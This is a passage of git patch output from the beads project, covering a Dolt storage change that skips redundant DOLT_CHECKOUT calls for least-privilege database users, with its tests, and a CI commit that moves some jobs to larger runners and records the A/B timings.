qmu sync.Mutex // guards queries queries []string // every query string passed to Prepare (borrow-path assertions) - // failCheckout makes Prepare of a DOLT_CHECKOUT statement fail, so borrow-path - // tests can force beginTxOnConn to error and fall through to the fallback. + // failCheckout makes Prepare of a DOLT_CHECKOUT statement fail, modelling a + // user who is denied DOLT_CHECKOUT (a least-privilege operator). failCheckout atomic.Bool // activeBranch is what a SELECT active_branch() query reports; empty means diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 0ee4434e4..2dc8e0a13 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -1092,6 +1092,25 @@ func (s *DoltStore) withReadTx(ctx context.Context, fn func(tx *sql.Tx) error) e // and a single pinned *sql.Conn (see recomputeAllBlocked/recomputeBlockedTx). type execer interface { ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error) + QueryRowContext(ctx context.Context, query string, args ...any) *sql.Row +} + +// checkoutBranchIfNeeded puts conn's session on branch, issuing DOLT_CHECKOUT +// only when the session is on a different branch. A fresh session usually +// already sits on the requested branch, and a least-privilege operator user +// (EXECUTE on dolt_add/dolt_commit alone) is denied even a no-op checkout. conn +// must be a single session: on a multi-connection *sql.DB the read and the +// checkout could land on different connections. +func checkoutBranchIfNeeded(ctx context.Context, conn execer, branch string) error { + var active string + if err := conn.QueryRowContext(ctx, "SELECT active_branch()").Scan(&active); err != nil { + return fmt.Errorf("read active branch: %w", err) + } + if active == branch { + return nil + } + _, err := conn.ExecContext(ctx, "CALL DOLT_CHECKOUT(?)", branch) + return err } // pinStoreBranch reproduces the store's real active branch on conn. Branch @@ -1121,18 +1140,22 @@ type execer interface { // in practice rather than by construction. The s.branch fallback does not // close the gap either: it fires only when the query errors, not when it // succeeds with another connection's answer. +// +// conn must be a single session (a *sql.Conn, or a *sql.DB capped at one open +// connection that keeps it idle-cached): the branch read and any checkout +// must land on the same connection. func (s *DoltStore) pinStoreBranch(ctx context.Context, conn execer) error { var branch string if scanErr := s.db.QueryRowContext(ctx, "SELECT active_branch()").Scan(&branch); scanErr == nil { if branch != "" { - if _, err := conn.ExecContext(ctx, "CALL DOLT_CHECKOUT(?)", branch); err != nil { + if err := checkoutBranchIfNeeded(ctx, conn, branch); err != nil { return fmt.Errorf("checkout active branch %q: %w", branch, err) } } } else if s.branch != "" { // Fall back to the store's recorded branch rather than failing the // whole call outright. - if _, err := conn.ExecContext(ctx, "CALL DOLT_CHECKOUT(?)", s.branch); err != nil { + if err := checkoutBranchIfNeeded(ctx, conn, s.branch); err != nil { return fmt.Errorf("checkout fallback branch %q: %w", s.branch, err) } } diff --git a/internal/storage/dolt/transaction.go b/internal/storage/dolt/transaction.go index 8bebf0b9f..ff2be619b 100644 --- a/internal/storage/dolt/transaction.go +++ b/internal/storage/dolt/transaction.go @@ -464,14 +464,17 @@ func beginBorrowedTx(ctx context.Context, conn *sql.Conn, branch string) (*sql.T return tx, nil } -// beginTxOnConn checks a connection out to branch and begins a transaction on -// it. Only the fallback path uses it: the fallback owns a dedicated +// beginTxOnConn puts a connection on branch and begins a transaction on it. +// Only the fallback path uses it: the fallback owns a dedicated // single-connection pool, so checking its session out is safe. Every Dolt SQL -// session has its own active branch, so the explicit checkout is required on -// a fresh dial. +// session has its own active branch, and a fresh dial lands on the database's +// default branch — usually already the requested one. DOLT_CHECKOUT is issued +// only when the session is on a different branch: a capped operator user may +// be granted EXECUTE on dolt_add/dolt_commit alone, and an unconditional no-op +// checkout would be denied and fail every wisp write on the fallback path. func beginTxOnConn(ctx context.Context, conn *sql.Conn, branch string) (*sql.Tx, error) { - if _, err := conn.ExecContext(ctx, "CALL DOLT_CHECKOUT(?)", branch); err != nil { - return nil, fmt.Errorf("failed to checkout ignored tx branch %s: %w", branch, err) + if err := checkoutBranchIfNeeded(ctx, conn, branch); err != nil { + return nil, fmt.Errorf("failed to put ignored tx conn on branch %s: %w", branch, err) } tx, err := conn.BeginTx(ctx, nil) if err != nil { diff --git a/internal/storage/dolt/transaction_ignored_checkout_test.go b/internal/storage/dolt/transaction_ignored_checkout_test.go new file mode 100644 index 000000000..6cdf10fe1 --- /dev/null +++ b/internal/storage/dolt/transaction_ignored_checkout_test.go @@ -0,0 +1,228 @@ +package dolt + +import ( + "context" + "fmt" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +// TestBeginTxOnConnSkipsCheckoutWhenAlreadyOnBranch pins that the fresh-dial +// fallback does not issue DOLT_CHECKOUT when the session already sits on the +// requested branch. A fresh session lands on the database's default branch, so +// this is the normal case — and a capped operator user that may EXECUTE only +// dolt_add/dolt_commit is denied DOLT_CHECKOUT outright. +func TestBeginTxOnConnSkipsCheckoutWhenAlreadyOnBranch(t *testing.T) { + ctx := context.Background() + db, drv := openMockDB(t) + drv.failCheckout.Store(true) // any checkout attempt fails, like the capped user + + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("acquire conn: %v", err) + } + defer conn.Close() + + tx, err := beginTxOnConn(ctx, conn, "main") + if err != nil { + t.Fatalf("beginTxOnConn on the session's own branch: %v", err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit: %v", err) + } + if got := drv.countQuery("DOLT_CHECKOUT"); got != 0 { + t.Fatalf("DOLT_CHECKOUT ran %d times, want 0 (session already on the requested branch)", got) + } + if got := drv.countQuery("active_branch"); got != 1 { + t.Fatalf("active_branch ran %d times, want 1", got) + } +} + +// TestBeginTxOnConnChecksOutDifferentBranch pins that the fallback still +// switches a fresh session that is NOT on the requested branch. +func TestBeginTxOnConnChecksOutDifferentBranch(t *testing.T) { + ctx := context.Background() + db, drv := openMockDB(t) + drv.activeBranch.Store("main") + + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("acquire conn: %v", err) + } + defer conn.Close() + + tx, err := beginTxOnConn(ctx, conn, "feature-x") + if err != nil { + t.Fatalf("beginTxOnConn on a different branch: %v", err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit: %v", err) + } + if got := drv.countQuery("DOLT_CHECKOUT"); got != 1 { + t.Fatalf("DOLT_CHECKOUT ran %d times, want 1 (session must be switched to the requested branch)", got) + } +} + +// TestBeginTxOnConnSurfacesActiveBranchError pins that a failed branch read is +// reported rather than papered over with a blind checkout. +func TestBeginTxOnConnSurfacesActiveBranchError(t *testing.T) { + ctx := context.Background() + db, drv := openMockDB(t) + drv.failActiveBranch.Store(true) + + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("acquire conn: %v", err) + } + defer conn.Close() + + tx, err := beginTxOnConn(ctx, conn, "main") + if err == nil { + _ = tx.Rollback() + t.Fatal("expected an error when active_branch() fails") + } + if !strings.Contains(err.Error(), "active branch") { + t.Fatalf("error = %q, want it to name the active-branch read", err.Error()) + } + if got := drv.countQuery("DOLT_CHECKOUT"); got != 0 { + t.Fatalf("DOLT_CHECKOUT ran %d times, want 0", got) + } +} + +// readOnlyMigrationTables are the schema-version tables a least-privilege operator +// only reads: covered +// by the db-level SELECT, never granted DML. +var readOnlyMigrationTables = map[string]bool{ + "schema_migrations": true, + "ignored_schema_migrations": true, +} + +// openCappedOperatorStore opens a store as a least-privilege operator user, as a +// shared Dolt server may grant one: SELECT on the database, DML on the data tables, +// and EXECUTE on only dolt_add/dolt_commit. The pool is pinned to one +// connection, so the ignored tx must take the fresh-dial fallback. The caller +// builds its own context after this returns (see openStoreWithOwnBudget). +func openCappedOperatorStore(t *testing.T) (admin, op *DoltStore) { + t.Helper() + admin, cleanup := setupConcurrentTestStore(t) + t.Cleanup(cleanup) // registered first so it runs after the DROP USER cleanup below + + ctx, cancel := testContext(t) + defer cancel() + + dbName := admin.database + user := "capped_op_" + strings.TrimPrefix(dbName, "testdb_") + const password = "capped-pw" + + exec := func(stmt string) { + t.Helper() + if _, err := admin.db.ExecContext(ctx, stmt); err != nil { + t.Fatalf("%s: %v", stmt, err) + } + } + exec(fmt.Sprintf("CREATE USER '%s'@'%%' IDENTIFIED BY '%s'", user, password)) + t.Cleanup(func() { + _, _ = admin.db.ExecContext(context.Background(), fmt.Sprintf("DROP USER IF EXISTS '%s'@'%%'", user)) + }) + exec(fmt.Sprintf("GRANT SELECT ON `%s`.* TO '%s'@'%%'", dbName, user)) + + rows, err := admin.db.QueryContext(ctx, "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'") + if err != nil { + t.Fatalf("list tables: %v", err) + } + var tables []string + for rows.Next() { + var name, kind string + if err := rows.Scan(&name, &kind); err != nil { + _ = rows.Close() + t.Fatalf("scan table: %v", err) + } + if !readOnlyMigrationTables[name] && !strings.HasPrefix(name, "dolt_") { + tables = append(tables, name) + } + } + if err := rows.Err(); err != nil { + t.Fatalf("iterate tables: %v", err) + } + _ = rows.Close() + if len(tables) == 0 { + t.Fatal("no data tables found to grant") + } + for _, table := range tables { + exec(fmt.Sprintf("GRANT INSERT, UPDATE, DELETE ON `%s`.`%s` TO '%s'@'%%'", dbName, table, user)) + } + for _, proc := range []string{"dolt_add", "dolt_commit"} { + exec(fmt.Sprintf("GRANT EXECUTE ON PROCEDURE `%s`.`%s` TO '%s'@'%%'", dbName, proc, user)) + } + + op, err = openStoreWithOwnBudget(t, &Config{ + Path: t.TempDir(), + CommitterName: "test", + CommitterEmail: "test@example.com", + Database: dbName, + ServerUser: user, + ServerPassword: password, + MaxOpenConns: 1, + }) + if err != nil { + t.Fatalf("open store as capped operator: %v", err) + } + t.Cleanup(func() { _ = op.Close() }) + return admin, op +} + +// TestIgnoredTxFallbackUnderCappedOperatorUser reproduces the failure end to +// end: writing a wisp in a transaction as a capped operator +// used to fail with "failed to checkout ignored tx branch main: ... command +// denied" (bd create --graph, bd mol wisp). +func TestIgnoredTxFallbackUnderCappedOperatorUser(t *testing.T) { + admin, op := openCappedOperatorStore(t) + ctx, cancel := testContext(t) + defer cancel() + + wisp := &types.Issue{ + ID: "test-capped-wisp", + Title: "wisp written by a capped operator", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Ephemeral: true, + } + if err := op.RunInTransaction(ctx, "test: capped operator writes a wisp", func(tx storage.Transaction) error { + return tx.CreateIssue(ctx, wisp, "tester") + }); err != nil { + t.Fatalf("RunInTransaction as capped operator: %v", err) + } + + assertWispCount(ctx, t, admin.db, wisp.ID, 1) +} + +// TestPinnedConnReadsUnderCappedOperatorUser covers the other fresh-connection +// site, pinStoreBranch: the long-timeout history read and the pinned-conn +// blocked recompute used to fail with "checkout active branch \"main\": ... +// command denied" for the same capped operator. +func TestPinnedConnReadsUnderCappedOperatorUser(t *testing.T) { + _, op := openCappedOperatorStore(t) + ctx, cancel := testContext(t) + defer cancel() + + issue := &types.Issue{ + ID: "test-capped-history", + Title: "durable issue read back by a capped operator", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + } + if err := op.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("CreateIssue as capped operator: %v", err) + } + if _, err := op.RecomputeAllBlocked(ctx); err != nil { + t.Fatalf("RecomputeAllBlocked as capped operator: %v", err) + } + if _, err := op.History(ctx, issue.ID); err != nil { + t.Fatalf("History as capped operator: %v", err) + } +} From 785f10724a8dbf1022f2d8dd6ad6f937b1f3e643 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 05:16:20 +0000 Subject: [PATCH 162/325] ci: bigger runners for the slowest cached-run jobs (MCP gate 8 vCPU -n16, Bazel test 4 vCPU) (#7381) * ci: bigger runners for the slowest CI legs (MCP gate, Bazel test, Windows preflight) Runner-size A/B against merge group 37721729916 (3m49s): - package-mcp: 4 -> 8 vCPU with pytest -n 16 (BEADS_MCP_PYTEST_WORKERS, mode remote only; forks/ubuntu-latest keep package-mcp.sh's default 8). pytest was 70s, dominated by CPU-bound per-test `bd init` setup. Local, pinned with taskset: -n 8 on 4 CPUs 112s; -n 16 on 8 CPUs 60/57/58s, 228 passed / 5 skipped in all three runs. - bazel-test: 2 -> 4 vCPU. `bazel test //... --config=ci` spent ~63 of 81s in client-side loading/analysis (critical path 7.65s, every action a remote cache hit). - pr-preflight-platforms Windows leg: 4 -> 8 vCPU. main.yml's test-windows saver stays on 4 vCPU: the cache keys name runner.os/runner.arch, never the label, and actions/cache's version covers only paths + compression, so the entries are not size-specific; the other Windows consumers keep their exact label. TestWindowsPreflightLegReachesSaverAcrossSizes pins it. Runner labels live in the shared constants in scripts/ci_blacksmith_runner_test.go; TestBlacksmithBazelRunnerSizes checks every bazel.yml lane's runs-on and the MCP worker count per rbe mode with evalGHExpr. Revert any bump that does not save at least 15s. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(pr): keep the Windows preflight leg on 4 vCPU (A/B: 8 vCPU queued 63s) #7381's PR run put pr-preflight-platforms' Windows leg on blacksmith-8vcpu-windows-2025. The cache restore from main.yml's 4 vCPU test-windows saver hit, but the job waited 63s for an 8 vCPU Windows runner and finished at 144s against the 129s baseline on 4 vCPU, so the leg goes back to blacksmith-4vcpu-windows-2025. With saver and consumer on one label again, TestWindowsPreflightLegReachesSaverAcrossSizes and the separate preflight runner map have nothing left to pin and are dropped; the result is recorded next to platformsMatrixRunners, in pr.yml and in CI_REQUIRED_CHECK_TOPOLOGY.md. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 25 ++++++-- .github/workflows/pr.yml | 4 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 12 ++-- scripts/ci/package-mcp.sh | 12 +++- scripts/ci_blacksmith_runner_test.go | 81 +++++++++++++++++++++++++ scripts/ci_workflow_test.go | 40 +++++++----- scripts/pr_lanes_bazel_coverage_test.go | 4 +- 7 files changed, 147 insertions(+), 31 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 6564862f0..66322c9d5 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -728,8 +728,15 @@ jobs: # they miss on the runner, so they get the larger GitHub-hosted one. # Fork modes (fork-ro/fork-rw) execute remotely but stay GitHub-hosted, # like every fork job: the runner is only a client. + # + # 4 vCPU, not the other lanes' 2: with every action a remote cache hit, + # this lane's `bazel test //... --config=ci` spent ~63 of 81s in + # client-side loading and analysis (1798 packages, 66k configured + # targets; critical path 7.65s, merge group 37721729916), which Bazel + # parallelizes across the client's cores. Revert to 2 vCPU if the A/B + # does not save at least 15s on that step. needs: rbe - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} # Remote execution goes to rbe-west (instance "oss", the Blacksmith-backed # worker pool shared with gascity). Skipped only in mode skip (same-repo # runs while RBE_WEST_WORKERS is unset). @@ -2210,9 +2217,12 @@ jobs: package-mcp: name: Package Gate (MCP) needs: rbe - # 4 vCPU on purpose: pytest-xdist -n 8 measured ~2.7-3x on 4 CPUs - # (tools/f3 timing, 2026-10), well past 2 vCPU's ceiling. - runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} + # 8 vCPU with 16 xdist workers (BEADS_MCP_PYTEST_WORKERS below): pytest + # was 70s of this job at -n 8 on 4 vCPU (merge group 37721729916), + # dominated by per-test `bd init` fixture setup, which is CPU-bound. + # Was 4 vCPU / -n 8 (tools/f3 timing, 2026-10: ~2.7-3x on 4 CPUs); + # revert to that if the A/B does not save at least 15s. + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ inputs.package-gates == 'on' }} timeout-minutes: 30 outputs: @@ -2266,8 +2276,8 @@ jobs: echo "BEADS_TEST_BD_BINARY=$RUNNER_TEMP/bd-artifacts/bd-linux-gms-pure" >> "$GITHUB_ENV" # Defense in depth: nothing after this step needs the Bazel server # or its RBE client key (uv sync and pytest run PR-controlled - # code). Shutting down also frees the JVM's memory for the 8 - # xdist workers that follow on this 4 vCPU runner. + # code). Shutting down also frees the JVM's memory for the 16 + # xdist workers that follow on this 8 vCPU runner. bazel shutdown rm -rf "$RUNNER_TEMP/bazel-ci-secret" @@ -2313,6 +2323,9 @@ jobs: if: ${{ steps.detect.outputs.mcp_package == 'true' }} env: GOCACHE: ${{ runner.temp }}/go-cache/non-race + # 16 workers on the 8 vCPU Blacksmith runner; package-mcp.sh's + # default 8 on the GitHub-hosted fallback. + BEADS_MCP_PYTEST_WORKERS: ${{ needs.rbe.outputs.mode == 'remote' && '16' || '8' }} run: make ci-package-mcp # Last step: the job's result as a workflow_call output for pr.yml's diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 628ed5dcc..9483e2b36 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -505,7 +505,9 @@ jobs: # restores, mostly tar extraction), 33-71s for TestPRPreflight (Git Bash # process creation, now parallel subtests), 27-58s to compile and link # ./cmd/bd's test binary, and about 25s for the rest. A second Windows leg - # would pay the setup again to save about 20s, so it stays one leg. + # would pay the setup again to save about 20s, so it stays one leg. An + # 8 vCPU Windows leg was tried (#7381): cache restores still hit, but it + # queued 63s for the larger runner and finished at 144s vs 129s here. pr-preflight-platforms: name: PR preflight process (${{ matrix.os }}) runs-on: ${{ matrix.runner }} diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index fb22a7410..e271b795b 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -883,9 +883,11 @@ Required` requires them to have run remotely and passed. `1.3.0 (dev)`, no commit); no consumer reads it. Verified 2026-10-02: both package gates pass with the Bazel-built bd (MCP: 228 passed, 5 skipped; npm: all tests and the pack dry run), the same as with a - `go build` bd. Both run on `blacksmith-4vcpu-ubuntu-2404` when - `rbe.outputs.enabled == 'true'` (4 vCPU: `pytest -n 8` is pinned to - timing measured there), `ubuntu-latest` otherwise. `bazel-test`'s own + `go build` bd. In mode remote, package-npm runs on + `blacksmith-4vcpu-ubuntu-2404` and package-mcp on + `blacksmith-8vcpu-ubuntu-2404` with `pytest -n 16` + (`BEADS_MCP_PYTEST_WORKERS`; the script's default is `-n 8`); + `ubuntu-latest` (and `-n 8`) otherwise. `bazel-test`'s own `bazel-ci-build-artifacts` upload is no longer consumed by anything; it is kept for the F3.5.3 SHA256SUMS comparison and for debugging. - The Dolt-backed domain, uow, tracker, doctor/fix and protocol suites @@ -1204,7 +1206,9 @@ their `blacksmith-*vcpu-windows-2025` label literally; the two mixed-OS matrix jobs, `pr-preflight-platforms` and `check-doc-freshness-platforms`, run a macOS leg on `blacksmith-6vcpu-macos-26` (Apple Silicon) and a Windows leg on `blacksmith-4vcpu-windows-2025`, each leg naming its label in the -matrix (`runs-on: ${{ matrix.runner }}`). There is no GitHub-hosted fallback: +matrix (`runs-on: ${{ matrix.runner }}`). An 8 vCPU Windows preflight leg +was tried (#7381): it restored the 4 vCPU saver's cache, but queued 63s for +the larger runner and finished slower (144s vs 129s), so it stays on 4 vCPU. There is no GitHub-hosted fallback: Blacksmith serves this org's fork PRs (gascity's fork PRs run their CI on `blacksmith-*` labels). Fork runs get no secrets and a read-only token (`TestBlacksmithJobsReadNoSecrets` keeps every Blacksmith job free of secret diff --git a/scripts/ci/package-mcp.sh b/scripts/ci/package-mcp.sh index 5b14a7041..56490599d 100755 --- a/scripts/ci/package-mcp.sh +++ b/scripts/ci/package-mcp.sh @@ -55,8 +55,16 @@ mcp_pytest() { # Explicit worker count, not "auto": CI runners' reported CPU count # doesn't always match the cgroup quota, and -n 8 is pinned to measured # timing (tools/f3, 2026-10) on both 2 vCPU (2.7x) and 4 vCPU (~3x) - # runners. pytest-xdist is a pinned dev dependency (pyproject.toml). - uv run pytest -n 8 --durations=50 + # runners. bazel.yml's package-mcp sets BEADS_MCP_PYTEST_WORKERS=16 on + # its 8 vCPU Blacksmith runner (the suite is dominated by per-test + # `bd init` fixture setup, so two workers per CPU still pay off). + # pytest-xdist is a pinned dev dependency (pyproject.toml). + local workers="${BEADS_MCP_PYTEST_WORKERS:-8}" + if [[ ! "$workers" =~ ^[1-9][0-9]*$ ]]; then + echo "BEADS_MCP_PYTEST_WORKERS must be a positive integer, got '$workers'" >&2 + return 2 + fi + uv run pytest -n "$workers" --durations=50 } mcp_build() { diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index a6a1b3466..35685349a 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -55,6 +55,39 @@ const sameRepoBlacksmith8vcpu = "${{ (github.event_name == 'merge_group' || (git const blacksmithWindows2vcpuRunsOn = "${{ 'blacksmith-2vcpu-windows-2025' }}" const blacksmithWindows4vcpuRunsOn = "${{ 'blacksmith-4vcpu-windows-2025' }}" +// bazel.yml's lanes pick their runner from the rbe job's decision alone +// (TestBazelRBEJobDecidesOnce): Blacksmith in mode remote, GitHub-hosted +// otherwise. bazelRemoteRunsOn builds that ternary for one Blacksmith size so +// every lane's pinned runs-on is the same literal apart from the label. +func bazelRemoteRunsOn(label string) string { + return "${{ needs.rbe.outputs.mode == 'remote' && '" + label + "' || 'ubuntu-latest' }}" +} + +// The default lane size: the runner is only an RBE client (every action +// executes on rbe-west), so 2 vCPU is enough. +var bazelLaneRunsOn = bazelRemoteRunsOn("blacksmith-2vcpu-ubuntu-2404") + +// Runner-size A/B (ci/bigger-runners-ab, 2026-10-08): bazel-test's +// `bazel test //... --config=ci` spent ~63 of its 81 s in client-side loading +// and analysis (1798 packages, 66k configured targets; critical path 7.65 s, +// every action a remote cache hit), which Skyframe parallelizes across the +// client's cores. 4 vCPU; revert to bazelLaneRunsOn if the PR run does not +// save at least 15 s on that step. +var bazelTestLaneRunsOn = bazelRemoteRunsOn("blacksmith-4vcpu-ubuntu-2404") + +// The package gates: package-npm at 4 vCPU (F3); package-mcp at 8 vCPU with +// pytest -n 16 (bazelMCPPytestWorkers), since its pytest run is dominated by +// per-test `bd init` fixture setup, which is CPU-bound and parallel. +var bazelPackageRunsOn = map[string]string{ + "package-mcp": bazelRemoteRunsOn("blacksmith-8vcpu-ubuntu-2404"), + "package-npm": bazelRemoteRunsOn("blacksmith-4vcpu-ubuntu-2404"), +} + +// package-mcp's BEADS_MCP_PYTEST_WORKERS: 16 xdist workers on the 8 vCPU +// Blacksmith runner (mode remote), package-mcp.sh's default 8 on the +// GitHub-hosted fallback (forks, Dependabot, rbe off/skip/cache). +const bazelMCPPytestWorkers = "${{ needs.rbe.outputs.mode == 'remote' && '16' || '8' }}" + // Blacksmith macOS (Apple Silicon M4, ARM64), pinned to macos-26 (the image // GitHub's macos-latest resolves to) so the PR legs and main.yml's // blacksmith-macos-go-build-cache saver share one image regardless of when @@ -69,6 +102,11 @@ const platformsMatrixRunsOn = "${{ matrix.runner }}" // platformsMatrixRunners: each mixed-OS matrix leg's `os` (which keeps the // check names stable) -> its Blacksmith label. +// +// Runner-size A/B (#7381, 2026-10-08): pr-preflight-platforms' Windows leg on +// blacksmith-8vcpu-windows-2025 restored the 4 vCPU saver's cache fine, but +// waited 63s for an 8 vCPU Windows runner and finished at 144s against 129s +// on 4 vCPU, so it stays on blacksmithWindowsLabel. var platformsMatrixRunners = map[string]string{ "macos-latest": blacksmithMacOSLabel, "windows-latest": blacksmithWindowsLabel, @@ -518,3 +556,46 @@ func TestBlacksmithWindowsMacOSRunsOnEveryEvent(t *testing.T) { } } } + +// TestBlacksmithBazelRunnerSizes evaluates every bazel.yml lane's real +// runs-on (and package-mcp's xdist worker count) under each rbe mode: mode +// remote gets the lane's Blacksmith size, every other mode the GitHub-hosted +// runner, and package-mcp runs 16 xdist workers exactly when it is on its +// 8 vCPU runner (8 everywhere else, package-mcp.sh's default). +func TestBlacksmithBazelRunnerSizes(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + wantRemote := map[string]string{ + bazelJobName: "blacksmith-4vcpu-ubuntu-2404", + bazelPackageMCPJobName: "blacksmith-8vcpu-ubuntu-2404", + bazelPackageNPMJobName: "blacksmith-4vcpu-ubuntu-2404", + } + mcpGate := workflow.job(t, bazelPackageMCPJobName).step(t, "Run MCP package gate") + if got := mcpGate.Env["BEADS_MCP_PYTEST_WORKERS"]; got != bazelMCPPytestWorkers { + t.Errorf("package-mcp Run MCP package gate BEADS_MCP_PYTEST_WORKERS = %q, want %q", got, bazelMCPPytestWorkers) + } + for _, mode := range []string{"remote", "fork-ro", "fork-rw", "local", "cache", "skip"} { + ctx := map[string]string{"needs.rbe.outputs.mode": mode} + for name, job := range workflow.Jobs { + if name == bazelRBEJobName { + continue + } + want := "ubuntu-latest" + if mode == "remote" { + want = "blacksmith-2vcpu-ubuntu-2404" + if label, ok := wantRemote[name]; ok { + want = label + } + } + if got := mustEvalGHRunsOn(t, job.RunsOn, ctx); got != want { + t.Errorf("%s runs-on under mode %s = %q, want %q", name, mode, got, want) + } + } + wantWorkers := "8" + if mustEvalGHRunsOn(t, workflow.job(t, bazelPackageMCPJobName).RunsOn, ctx) == "blacksmith-8vcpu-ubuntu-2404" { + wantWorkers = "16" + } + if got := mustEvalGHRunsOn(t, mcpGate.Env["BEADS_MCP_PYTEST_WORKERS"], ctx); got != wantWorkers { + t.Errorf("package-mcp BEADS_MCP_PYTEST_WORKERS under mode %s = %q, want %q", mode, got, wantWorkers) + } + } +} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index f5479a463..6905ece3c 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1940,11 +1940,11 @@ const bazelIntegIf = "${{ (needs.rbe.outputs.enabled == 'true' || needs.rbe.outp // caller left package-gates at its default "off". const bazelPackageGatesIf = "${{ inputs.package-gates == 'on' }}" -// F3: the package gates' runner. 4 vCPU, not bazel.yml's usual 2: pytest-xdist -// -n 8 is pinned to measured timing on a 4 vCPU runner (tools/f3). Mode -// remote only: the gates take no rbe-fork certificate, so fork modes +// F3: the package gates' runners (bazelPackageRunsOn, in +// ci_blacksmith_runner_test.go with the other runner sizes) are larger than +// bazel.yml's usual 2 vCPU because they run pytest/npm on the runner itself. +// Mode remote only: the gates take no rbe-fork certificate, so fork modes // (enabled too) build bd with go build on a GitHub-hosted runner, as before. -const bazelPackageRunsOn = "${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" // rbe-prewarm's bespoke if (TestBazelWorkflowJobsAndExecutionMode): mode // remote only (B1, security review of bdef342d5 - was remote or fork-rw). @@ -2110,7 +2110,7 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { // runner. Only mode remote gets the secrets; fork modes get // BAZEL_FORK_REMOTE (setup-bazel mints the certificate), cache runs // BAZEL_FORK_CACHE. - const wantRunsOn = "${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" + wantRunsOn := bazelLaneRunsOn // Local-capable lanes skip only in mode skip (same-repo, RBE_WEST_WORKERS // unset); remote-only lanes (27 race processes and more, an hour or more // on a GitHub-hosted runner, for tests the Go jobs already run there) @@ -2148,12 +2148,15 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) { t.Errorf("%s needs = %v, want [%s]", name, job.Needs, bazelRBEJobName) } - // F3: the package gates use a 4 vCPU runner (pytest-xdist -n 8) and + // F3: the package gates use larger runners (bazelPackageRunsOn) and // their own if (the caller's package-gates input, not the rbe job's // mode - they never skip for execution-mode reasons). wantJobRunsOn, wantJobIf, wantJobSetupEnv := wantRunsOn, wantIf, wantSetupEnv + if name == bazelJobName { + wantJobRunsOn = bazelTestLaneRunsOn + } if bazelPackageJobs[name] { - wantJobRunsOn, wantJobIf, wantJobSetupEnv = bazelPackageRunsOn, bazelPackageGatesIf, wantPackageSetupEnv + wantJobRunsOn, wantJobIf, wantJobSetupEnv = bazelPackageRunsOn[name], bazelPackageGatesIf, wantPackageSetupEnv } else if bazelRemoteOnlyJobs[name] { wantJobIf = wantRemoteOnlyIf } else if name == bazelIntegJobName || name == bazelCmdDoltJobName { @@ -2181,21 +2184,26 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { } } -// F3: bazelPackageRunsOn's comment and the package-mcp job's 4 vCPU runner +// F3: bazelPackageRunsOn's comment and the package-mcp job's runner size // are both premised on mcp_pytest() in package-mcp.sh passing an explicit -// "-n 8" (not "-n auto", which would reintroduce the CPU-count/cgroup-quota -// mismatch -n 8 was pinned to avoid), and on pytest-xdist itself being a -// locked dev dependency so that worker count is reproducible across CI runs. -// Neither half of that premise is checked by any other policy test, so pin -// both here directly against the script and the MCP package's manifest/lock. +// worker count (not "-n auto", which would reintroduce the CPU-count/ +// cgroup-quota mismatch the explicit count was pinned to avoid): the +// default 8, or BEADS_MCP_PYTEST_WORKERS, which bazel.yml's package-mcp sets +// to 16 exactly when it runs on its 8 vCPU Blacksmith runner +// (TestBlacksmithBazelRunnerSizes). It is also premised on pytest-xdist +// itself being a locked dev dependency so that worker count is reproducible +// across CI runs. Pin both here directly against the script and the MCP +// package's manifest/lock. func TestMCPPytestWorkerCountPinned(t *testing.T) { root := 